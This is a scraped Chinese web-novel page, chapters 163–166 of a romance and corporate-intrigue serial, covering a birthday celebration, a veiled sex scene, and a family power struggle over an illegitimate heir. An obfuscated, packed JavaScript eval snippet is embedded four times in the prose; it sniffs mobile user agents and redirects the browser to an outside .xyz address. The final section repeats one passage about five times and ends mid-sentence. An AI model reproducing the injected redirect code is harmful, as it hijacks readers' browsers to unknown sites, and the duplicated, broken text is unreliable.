有些落在时清徵肩上,有些蹭过他的脸颊。 时清徵伸手接住一片,握在掌心。 他回头看向始终站在自己身侧后方半步的顾鸣鹤。 对方笑意盈盈,却带着点紧张。 “时清徵,生日快乐。 躲在门两旁后面的管家和李婶也站了出来,手里拿着礼花筒。 “时少,生日快乐。 屋内的装扮只比外面更加隆重。 顾鸣鹤没有邀请任何外人。 因为他心里再清楚不过时清徵在京城没有亲人,也几乎从不提起有什么朋友。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 一场宾客云集或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370183|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觥筹交错的盛大宴会,或许只会让时清徵觉得疲惫和突兀。 顾鸣鹤只想给他一场完全属于他们两个人的庆祝。 这个念头其实在他心里酝酿已久。 他不是没想过叫上靳云封他们热热闹闹地办一场,也不是没计划过包下一整层餐厅郑重其事地宣告。 可思来想去,最后还是选择了最安静的一种。 因为主角是时清徵。 蛋糕也没有订得浮夸,只是静静立在长桌中央,不大,却极其精致,处处透着用心。 管家和李婶也笑着过来道贺,各自分了一角蛋糕,很知趣地很快退了出去,将空间彻底留给他们两人。 时清徵:“你之前神神秘秘的,就是在忙这个。” “嗯。”顾鸣鹤注视着他,语气里带着一点不易察觉的紧张。 “我知道不算隆重,只是觉得太喧闹的,你大概不会喜欢。” “这样很好。”时清徵停顿了片刻,却轻轻摇了摇头。 “不过今天其实不是我生日。” 其实也不记得自己究竟是哪一天出生的。 只记得有一回生日,他的妈妈从外面带回来了两支花。 一支给他,一支给了姐姐。 那时太小了,不记得是什么花,连颜色也忘了。 只记得当时很新奇,特别开心,稀罕地要命。 但那些都是太久远的事情了,他只记得自己有一支花。 之前回A国填资料,想了很久自己的生日。 因为有花,所以他潜意识中觉得可能是春天,也可能是夏天。 不过既然都乱填了,那不妨离谱些,随手写的就是当天日期。 也没往心中去。 时清徵这么讲,其实在顾鸣鹤先前考虑的各种情况之中。 他考虑过太多,也包括了这一点。 因此他并没有露出丝毫失望的神色。 “我知道。但我只是觉得,任何一天,只要你想,我都愿意为你庆祝。” 他声音低缓:“如果你愿意告诉我你真正的生日是哪一天吗?下一次,我可以准备得更好。” 时清徵静了静,忽然很淡地笑了一下。他抬眼迎上顾鸣鹤的目光: “不用下一次。” “从今往后,我的生日就是今天。” 第164章 生日的意义别人赋予的 生日对时清徵而言,从来就不具备任何普世意义上的特殊含义。 没有蛋糕,没有礼物,没有围绕在身旁唱着祝歌的人。 这样的日子他过了太多年,以至于“生日这个词本身,早已褪成一个苍白扁平的符号。 如果真心想要过生日,那他大可以将一年中的任何一天圈出来。 天天都可以庆祝一遍。 毕竟,三百六十五分之一的概率,总有一天能蒙对。 但他从不这样做。 因为没必要。 就像是刻舟求剑。 直到有人捧着一盏微火,固执地等在冬天,对他说: “生日快乐。 而时清徵忽然发现,自己第一次想要停驻于某一个被指定的日子。 小时候的生日是那支花赋予的,可花留不住。 花谢了,那就不再过生日了。 现在生日的意义时隔多年被顾鸣鹤重新拾起。 时清徵这才惊觉,原来生日不是一串数字。 它是多年前的那束花,也是当下心中的情绪翻涌。 因为你值得被爱,也值得被庆祝。 随着相处的深入,顾鸣鹤时常觉得,自己能给时清徵的实在太少。 因为时清徵什么也不缺。 金钱,地位,能力,甚至一副无可指摘的皮囊。 他独立,冷静,有强大的精神内核。 可顾鸣鹤还是想给。 他想把所有最少,都淬炼得最好。 顾鸣鹤与时清徵坐了许久,等外面的夜色都沉寂了下来。 顾鸣鹤想到什么,起身去拿了一瓶酒出来。 这是先前他让人从酒庄里取回来的,暂存放在酒柜里,本想着拿出来,结果忘记了。 看瓶身似乎保存的很好,但标签泛黄,很有年头了。 趁顾鸣鹤去拿杯子的功夫,时清徵看了一眼。 罗曼尼康帝1945。 时清徵不由感慨了声。 真舍得啊。 酒入口后,层次分明地漾开,香气绵长丰厚。 时清徵也难得多了些兴致,多喝了几杯。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 很快醉色就浮了出来。 剩下半杯,时清徵拿在手里,轻轻晃着。 再喝就会有些不舒服了。 顾鸣鹤的酒量显然很好,他喝得比时清徵多一些,但依旧没什么醉意。 时清徵半斜着身子,朝顾鸣鹤勾了勾手指。 在顾鸣鹤凑近时将酒杯里的酒喂给他。 灌地有些急,一些酒液从唇边流了出来,滚出一片酒渍。 时清徵一手握着空杯,顺着酒渍吻上去。 直至唇边。 顾鸣鹤被撩地本就有些蠢蠢欲动,先前顺着时清徵,感受他从下而上的落吻。 柔软碰到唇边,流连着。 他忍不住抬手扣住时清徵的腰,主动寻了过去。 时清徵闭眼,任由手中的玻璃杯滑落,将它随手丢在地上。 天色阴沉了那么久,终于下起雪来。 积压地太久,沸沸扬扬,铺天盖地,都是雪色。 不过一会,地上就被铺了层白。 风吹着,卷起雪花升起又落下。 顾鸣鹤在锁.骨处,往下细细落着吻,时不时yun.咬着。 雪地上开了点点红梅,很明艳。 煞是好看。 时清徵被这动静逼得抬头,露出秀欣修长的脖颈,显得有些脆弱。 唇半张着,放在顾鸣鹤肩背上的手都在很细密地发抖。 “.别。” 顾鸣鹤这才慢悠悠抬头,笑着,语气带着些故意而为之的恶劣。 “刚刚不是很厉害?” 时清徵被亲的七荤八素,本就因染了酒色,如今更是红了耳尖,反问道:“有吗?” 顾鸣鹤见他这样子,只觉得更喜欢了,手中的力道重了点,因为想把这人揉近些。 然后再不分开。 前段时间送了些水果到庄园,都是应季的。 如今恰好是脐橙成熟的时候,此时果糖积累充分,口感清甜。 很受人喜欢。 只是橙子皮有些难剥开,要是太用力,怕是将里面的果肉给戳破。 到时候汁液流了一手,甜甜黏黏的,难处理。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 那就只能用刀一点点切开,完整地露出里面的果肉来。 果香弥漫,汁水横流。 真的很甜,像砂糖橘一样,一吃就停不下来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370184|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只让人恨不得将种子也在舌尖打一圈,然后才舍得嚼碎咽下去。 只是吃多了容易上火,但偶尔放肆一回也无所谓了。 窗外风吹着,摇晃着树,似乎要把树枝也全都卷落才肯罢休。 屋内却暖融融的。 时清徵在↑。 他弯着身,单手将顾鸣鹤的手叩压在头顶。 顾鸣鹤也没反抗,就那么仰面看着时清徵。 看时清徵发丝因动作而晃动,看着他鼻尖额头沁出汗珠。 轻声喘息着,似乎有些不稳。 “嗯——” “唔——” 两人同时出了声。 顾鸣鹤忽然倒吸一口气,胸脯也随之起伏着。 他想伸手,却见时清徵抬手, 随后在顾鸣鹤脸上,轻甩了一巴掌。 不痛,反而有点痒,更像是撩拨。 时清徵的手放在顾鸣鹤脸上,没有挪开。 而是细细抚摸着,一下又一下慢慢揉着。 那阵感觉过去,时清徵才勉强稳了身子,缓了半晌才回神。 他眼神微眯,带着点儿威胁,不轻不重道: “先先生,你,动一下.试试?” ——————(orz求放过) 程俊安着手调查王凯林的身世后,竟发现与时清徵所言一致。 他甚至找人伪装成受害者去公司**,薅了王凯林的一把头发。 然后将头发和程老爷子的拿去比对。 最终,他看着纸上的“支持.之间存在亲生血缘关系。” 一股寒意涌上心头,他似乎看见了程老爷子正布着一张阴谋网。 而他,就是被算计的那个人。 瞒着他,都瞒着他! 程俊安一把抓紧手中的亲子鉴定书,将它团成皱巴巴的纸。 好,好的很。 亏他为程氏娱乐鞠躬尽瘁这么多年,居然为了一个私生子,就把他给舍弃了。 想得美。 程俊安在心中已经给程老爷子下了定论。 程老爷子一定是知道王凯林是他的儿子,所以才肆无忌惮地将他撵下了总裁职位。 程俊安越想越觉得程老爷子的行为原来早就有迹可循了。 他眼神阴鸷,手握拳狠狠地往桌面上一砸。 他的东西,任谁都抢不走。 第165章 父慈子孝 杨洁雅听到办公室里传来沉闷的撞击声心头一跳连忙推门而入。 “程程总!”她惊呼一声快步上前。 只见程俊安一拳砸在实木桌上指节处已经红肿破皮渗着血丝。 杨洁雅小心翼翼地捧起他的手眼中满是担忧:“程总再生气也不能这样伤害自己啊.” 她低头轻轻朝伤口吹了口气柔声问:“疼吗?” 这番体贴入微的关怀让程俊安很是受用。 在众叛亲离的时刻这一份真心显得尤为珍贵。 他缓和了语气:“我没事。让你查的事情有结果了吗?” 杨洁雅面色从容地递上一份文件:“查到了。” 资料上的内容写着: 时清徵A国籍母亲方子虚父亲时阚。 全家久居盟洲 这也解释了为何时清徵能执掌光影娱乐原来是有家族背景支撑。 时清徵是几个月前才从FK总部调任回国的。 程俊安仔细翻阅着资料终于彻底放下心来。 果然是他多虑了。 但出于谨慎他还是追问了一句:“这份资料你是怎么拿到的?” 杨洁雅立刻撅起嘴娇嗔道:“哼说起这个我就来气。 我大学同学现在是光影总裁的秘书我可是拉下脸来求了她好久才拿到这份资料的。 这辈子都没这么求过人要不是为了程总我才不受这个委屈呢。” 她越说越激动:“那个老同学对我爱搭不理的我可真是受够了气!” 程俊安安抚地拍拍她的手背:“这段时间委屈你了以后我一定会好好补偿你。” “这还差不多~”杨洁雅小声撒着娇。 等她离开办公室后立即掏出手机快速打字: 【羊羊美丽:资料已经交给程俊安了你答应我的报酬什么时候到账?】 【升职加薪:三日后十万会打到你卡上。】 【羊羊美丽:下次还有这种好事记得找我哦~】 【升职加薪:OK】 【升职加薪:不过你没说漏嘴吧?】 【羊羊美 听说看这本书的人都是很幸运的,分享后你的运气会更棒 丽:放心一个字都没多说。】 收到杨洁雅确定的回答秘书收起手机将事情办好的消息告诉了周景深。 周景深:“好。” 转而就回复了时清徵。 时清徵见资料已经送到程俊安手中接下来就等着看程俊安的精彩操作了。 程家老宅内。 餐厅的长桌上摆着家宴气氛却压抑地让人感觉食不知味。 江晓蕾看了一眼丈夫没有搭理他转而低声对儿子说些什么。 程老爷子坐在主位上看着单独一人前来的程俊安面露不悦。 “你还有脸回来。” 程俊安的手指骤然收紧面上却没表现出什么异常。 “爸你这是哪里话既然是家宴我为何不能来?” 席间无人接他的话场面一时间有些尴尬。 程老爷子冷哼一声 程知远放下筷子一板一眼地回答。 一个词形容无功无过。 不过这一点在程老爷子这里可算不上及格。 他面上不显但心中却忍不住叹气。 这孩子不算蠢但到底是初入职场手段和脑筋都还差了些。 但这话程老爷子没有挑明只是嘱咐程知远好好跟王凯林学一学。 毕竟王凯林也算得上是商业奇才跟着他程知远能学到不少东西。 说者无心听者有意。 程俊安在程老爷子提起王凯林的时候脸色就阴沉了下去。 王凯林? 呵应该是程凯林才对吧。 为了扶他上位自己这个父亲可真是煞费苦心。 还让自己跟他学。 程老爷子把他这个儿子放在哪里? 程俊安把筷子往桌子上一搁有些响让餐桌上的人都忍不住看了他一眼。 程俊安也自觉失态了但此时他只想发泄内心的不满根本在乎不上这些。 “听说新来的王总最近推进了一个项目进程很是顺利?” 程老爷子有心让他知道自己与王凯林的差距冷哼一声: “凯林 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 确实能干,比起某些眼高手低的人好上不止一星半点。” “交代下去的事情办的漂漂亮亮,懂分寸,识大体。” 看着程老爷子不加掩饰的赞赏,以及他有些亲昵的称呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370185|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,程俊安将手垂在身侧,握紧。 心中残余的半分侥幸也被烧了个干净。 老爷子果然是故意的。 故意从哪里找出一个私生子来,就是要取代,羞辱他。 说不定这个王凯林就是程老爷子偷偷养大的。 还改了姓,真是煞费苦心呐。 程俊安强压下几乎要脱口而出的质问,指甲叩进肉里,面上却愈发温顺。 “是啊,王总的确是难得的人才。爸你放心,我以后一定会好好配合王总工作的。” 最后几个字他几乎是咬着牙齿说出来的。 程老爷子只当程俊安是真的把他的话听进去了,于是点头。 “既然知道自己的不足,那明天起你就回公司吧,先担任副总,好好看看有能力的人是怎么处理工作的。” 程俊安只是应声,低头时掩去了眼中的算计和恨意。 而程老爷子根本不知道,自己本意上的鞭策,爱之深责之切,在程俊安的耳中已经被扭曲成了另外一种意思。 当晚,程俊安留宿在老宅。 临近程老爷子就寝的时间,他亲自去厨房把安神药给程老爷子端了过去。 程老爷子正戴着老花镜看报纸,见儿子端着药进来,动作明显顿了一下。 他看着眼前恭顺的儿子,连日来的火气也消了些许,终究没再出言敲打。 毕竟是他唯一的儿子。 他喝着药,语气缓和了许多,甚至带着些难得的感慨: “俊安啊,你也别怪爸之前对你严厉。程家这么大摊子,将来总归是要交到你手上的。 但现在,你总得先让我看到你的担当和稳重。” 若是从前,程俊安或许会为此动容。 但此刻,他垂着眼,只觉得这些话无比刺耳,甚至虚伪得令人作呕。 都把公司交给那个王凯林了,现在又说这种话,惺惺作态。 他心底冷笑,面上却丝毫不显,只低声应道:“我知道的,爸。以前是我让您操心了。” 程老爷子似乎很满意他这副幡然醒悟的模样,点了点头: “知道就好。不早了,去休息吧。” “爸,您也早点休息。” 程俊安接过空碗,语气关切。 离开房间后,眼神彻底冷了下来。 第166章 凯林他.....是你的儿子啊! 这半个月的程氏集团可以说得上是十分热闹了。 明争暗斗,简直是打得不可开交。 时清徵一边看着杨洁雅那边传来的消息,一边嗑瓜子。 精彩,实在是精彩。 不过王凯林明显技高一筹啊。 自从时清徵“站队”程俊安后,程俊安就明显有底气了。 海外的那几家基金和财团的确给力,汇款很快就到了程俊安手中。 他一边用这份资金收购股份,一边对付王凯林。 股份收购很顺利,但几乎所有小股东都抬了价格。 程俊安手中资金充足,只想早些收购足够的股份,自然不愿意拖延,自己就答应了。 而过程如此顺利,自然也少不了时清徵和王凯林在背后的推波助澜。 程俊安先前在程老爷子面前表现出一副乖顺的样子,但实际上到了公司却处处跟王凯林作对。 程俊安毕竟是程老爷子唯一的儿子,他重新回到公司就已经代表了程老爷子的态度。 不少人都不愿意得罪他,甚至上来重新巴结他。 程俊安深知现在不是算账的时候,自然来者不拒。 毕竟王凯林自从上任后就不断的拉拢人心,巩固地位。 几个关键部门都被王凯林提了自己的人。 不得不说,王凯林的确有手段,短短几周就已经把公司上下管得服服帖帖。 只是王总和程副总的争端似乎从未停歇。 有几次甚至影响到了公司的项目推进。 股东会本就对程俊安有些失望,如今看他这副行径,更加不满。 更何况程俊安大量收购股份的消息根本瞒不住。 程老爷子听到这个消息后大发雷霆,把程俊安叫到书房好一顿骂。 可此时的程俊安有时清徵在背后支持,还有海外的财团为他提供资金,根本不怵程老爷子。 “爸,你年纪也大了,不如把股份转让给我,也省的操心。” “你看,我合同都帮你拟好了。” 这是程俊安第一次在这位父亲面前站得如此直,表现的如此有底气。 心中只觉得一阵畅快。 早该如此。 陈老爷子没有当场发作,而是先翻看了合同。 然后手狠狠的往桌面上一拍。 “逆子!” “你就这么迫不及待?!” 程俊安先是心中一跳,下意识就打算反驳,但是转念一想,自己手中已经有将近20%的股份了。 “是又如何?” “你你!” 程老爷子的胸膛起伏着,险些要被气死过去。 程俊安盯着老爷子,拿着合同的手收紧。 “只要.” 只是这句话没说完,程老爷子就双眼一翻,晕了过去。 —————— 时清徵眉梢微挑:“哦?进医院了?” 王凯林的声音从电话那头传来:“是的,时董。听程家老宅的佣人说,是程副总和老爷子发生了争执。” 当时二人在书房,佣人在外面都能听见动静。 “那他倒是挺有本事。” 时清徵轻笑出声。 他也没料到,程俊安竟会如此沉不住气,动作快得超乎预期。 事情的进展,比他预想的还要“完美”。 他沉吟片刻:“程老爷子确定是被气晕的?具体情况清楚么?” “老爷子本身心脏就不好,之前一直在服用医生开的安神类药物。这次应该是受到了刺激,情绪过于激动导致的突发状况。” “这样.”时清徵眼中掠过一丝算计。 “我正好认识一位国外顶尖的心脏病专家。我来联系,之后由你出面,将这位专家引荐给程家。” 他微微停顿,语气里添了一份意味深长。 “这可是你表现关心,尽孝心的绝佳机会。一定要好好把握住。” 剩下的自然不用时清徵多言,王凯林知道应该怎么做。 这场戏的到了高潮,轮到王凯林出演了。 果然,不出二十四小时,铺天盖地的负面**席卷了各大财经报道,程氏家族的丑闻被公之于众。 #程家父子反目成仇!!# #程家掌权人重病不醒,程氏娱乐股价即将暴跌。# 话题热度飙升,一时间程俊安再次被推到了**的最中央。 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370186|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 程俊安毫不顾忌程老爷子的病体,程老爷子对这个儿子也失望至极。 火已经烧起来了,接下来就是东风助势。 程老爷子出院那天,正巧碰上王凯林的母亲来看望王凯林。 却发现王凯林公司的董事长竟然是自己的几十年前的. “凯林他是你的儿子啊!” 程氏娱乐的公关部门加班加点,即使焦头烂额却也难以抑制**的扩散。 最终还是王凯林出手动用了自己的人际关系,紧急联系各大媒体。 一番运作之下,**总算是平息了不少。 刚处理完网上**,王凯林就马不停蹄的前往医院关心程老爷子的身体状况。 顺便汇报了公司的情况,让程老爷子放心。 最后言辞恳切的提起:“程董,我认识一位国外的心脏专家,在业内极有声望,若是您同意,我会想办法把他请来给您会诊。” 一系列干脆利落的公关处理还有现在的雪中送炭,让程老爷子对这个后生多了几分亲近。 接下来的几日,王凯林每日下班都会抽空去看望程老爷子。 这份关怀与程俊安的漠视形成了鲜明的对比,让程老爷子原本就坠入冰河的心多了分暖意。 老人最脆弱的时候需要什么? 钱?不止。 是希望,是陪伴。 而这两样东西王凯林都带给了他。 两人的关系迅速拉近。 程老爷子卧病期间,反倒看清了王凯林私下的为人。 处事妥帖,心思缜密。 而且还是真心实意的为自己请医问药。 这些都被他看在眼里。 反观他的亲生儿子,居然趁此机会,在公司人心惶惶之际联合自己的旧部,一定要将王凯林拉下马。 程俊安的行为越是偏激,程老爷子就越不肯帮他。 甚至程俊安不止一次的闯进程老爷子的病房,威逼利诱,软硬兼施。 却还是没能让程老爷子签下股份转让协议。 尤其是看见王凯林坐在病床边与程老爷子相处融洽的画面,就越发觉得讽刺。 好一副父慈子孝,其乐融融的场面。 程俊安与程老爷子的关系越发紧张。 